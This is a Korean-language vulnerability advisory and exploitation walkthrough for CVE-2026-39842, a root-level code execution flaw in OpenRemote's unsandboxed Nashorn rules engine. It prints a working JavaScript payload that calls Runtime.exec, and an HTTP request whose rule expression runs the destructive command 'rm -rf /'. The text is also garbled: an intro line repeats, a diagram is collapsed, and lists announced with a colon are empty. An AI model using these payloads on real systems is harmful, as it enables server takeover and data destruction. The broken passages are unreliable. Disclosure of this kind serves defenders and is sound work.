
OpenRemote의 Rules Engine에서 발견된 심각한 원격 코드 실행 취약점으로, `write:rules` 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다.
OpenRemote 규칙 엔진의 치명적인 원격 코드 실행 취약점으로, write:rules 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| 항목 | 세부 사항 |
|---|---|
| CVE ID | CVE-2026-39842 |
| GHSA ID | GHSA-7mqr-33rv-p3mp |
| 취약점 유형 | 코드 주입 / 표현식 언어 주입 |
| CVSS 점수 | 10.0 (Critical) |
| CWE | CWE-94, CWE-917 |
| 제품 | OpenRemote |
| 영향받는 버전 | <= 1.21.0 |
| 수정된 버전 | >= 1.22.0 |
| 인증 필요 | 예 |
| 필요 권한 수준 | write:rules 역할 (비-슈퍼유저) |
| 취약한 엔드포인트 | POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset |
| RCE 실행 권한 | root |
| 악용 가능성 | 높음 |
| 복잡도 | 낮음 |
| 발견 날짜 | 2026 |
OpenRemote는 스마트 빌딩, 스마트 시티, 산업 분야를 위한 오픈소스 IoT 플랫폼입니다. 사물인터넷 생태계를 위한 장치 관리, 자동화 규칙, 분석 및 통합 기능을 제공합니다.
Internet / Network
|
┌────────┴────────┐
v v
┌──────────────┐ ┌──────────────┐
| Web Browser | | Mobile App |
└──────────────┘ └──────────────┘
| |
└────────┬────────┘
v
┌──────────────────┐
| OpenRemote API |
| (REST/WebSocket) |
└────────┬─────────┘
v
┌──────────────────┐
| Manager Service |
| (Port 8080) |
└────────┬─────────┘
|
┌────────────────────┼────────────────────┐
| | |
v v v
┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘
---
## 취약점 심층 분석
### 근본 원인 분석
이 취약점은 OpenRemote의 규칙 엔진에 존재하는 두 가지 치명적인 결함에서 비롯됩니다:
**결함 1: 샌드박스가 없는 Nashorn JavaScript 엔진**
Java Nashorn JavaScript 엔진은 사용자가 제공한 규칙 표현식을 샌드박싱, 보안 관리자 또는 ClassFilter 제한 없이 평가하는 데 사용됩니다. 이로 인해 공격자는 JavaScript 컨텍스트에서 직접 Java 클래스에 접근할 수 있습니다.
**결함 2: 비활성화된 Groovy 샌드박스**
Groovy 스크립트 엔진에는 코드 실행을 방지하기 위해 GroovyDenyAllFilter가 등록되어 있었지만, 이 필터 등록은 코드베이스에서 주석 처리되었습니다. API 수준(RulesResourceImpl.java:262)에서만 Groovy 제한이 존재했으며, JavaScript에는 제한이 전혀 없었습니다.
### 취약한 코드 경로```
RulesResource.java (lines 153-158)
|
> POST request handler for rule creation
|
v
RulesetDeployment.java (line 368)
|
> scriptEngine.eval(ruleExpression)
|
v
Nashorn Engine
|
> No ClassFilter / SecurityManager
> Java.type() accessible
> Runtime.exec() available
이 취약점은 write:rules 역할을 가진 인증된 사용자에게 영향을 미칩니다. RulesResourceImpl.java:262의 인증 검사는 슈퍼유저가 아닌 사용자에 대해서만 Groovy를 차단합니다:```
if (!isUserSuperuser && isGroovy) {
throw new UnauthorizedException("Groovy rules not allowed");
}
이는 다음을 의미합니다:
- 비슈퍼유저도 JavaScript 규칙을 생성할 수 있음 (차단 없음)
- 비슈퍼유저는 Groovy 규칙을 생성할 수 없음 (차단됨)
- JavaScript에는 샌드박싱이 없으므로 write:rules 권한이 있는 모든 인증된 사용자가 악용할 수 있음
또한, assetStorageService에 대한 리플렉션을 통해 멀티테넌트 격리를 우회하여 다른 영역의 데이터에 접근할 수 있습니다.
### 공격 흐름```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks) |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted |
└─────────────────────────────────────────────────────┘
|
v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root |
└─────────────────────────────────────────────────────┘
1단계: write:rules 자격 증명 획득
인증된 사용자에게는 write:rules 역할이 필요합니다. 이는 다음과 같을 수 있습니다:
2단계: JavaScript 페이로드 제작
Java Runtime에 접근하는 JavaScript를 사용하여 규칙 표현식을 생성합니다:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;
**3단계: 취약한 엔드포인트로 전송**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json
{
"name": "malicious_rule",
"enabled": true,
"trigger": "timer",
"actions": [
{
"type": "local_action",
"target": "asset_id",
"action": "perform_action",
"value": "// Payload here"
}
],
"ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}
4단계: 규칙 실행
플랫폼은 규칙을 즉시 또는 예약된 트리거 시간에 평가하여 루트 권한으로 페이로드를 실행합니다.
5단계: 사후 악용
루트 권한의 RCE를 통해 공격자는 다음을 수행할 수 있습니다: